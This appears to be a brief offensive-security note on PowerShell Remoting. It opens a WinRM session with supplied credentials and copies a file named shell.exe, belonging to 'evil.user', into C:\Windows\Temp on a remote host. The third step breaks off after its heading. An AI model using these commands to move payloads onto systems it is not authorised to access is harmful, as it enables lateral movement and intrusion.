WinRM (PowerShell Remoting)
1) Open a PSSession on the target host
$computerName = 'computer_name_here' # Kerberos requires a FQDN, NTLM uses IP address
$credential = Get-Credential # Username and password used to log onto the target
$psSessionParameters = @{
ComputerName = $computerName
Credential = $credential
Authentication = 'Kerberos' # For NTLM use Default
}
$session = New-PSSession @psSessionParameters2) Copy a file to the remote session
Copy-Item "C:\Users\evil.user\Desktop\shell.exe" "C:\Windows\Temp" -ToSession $session3) Copy a file from the remote session
Last updated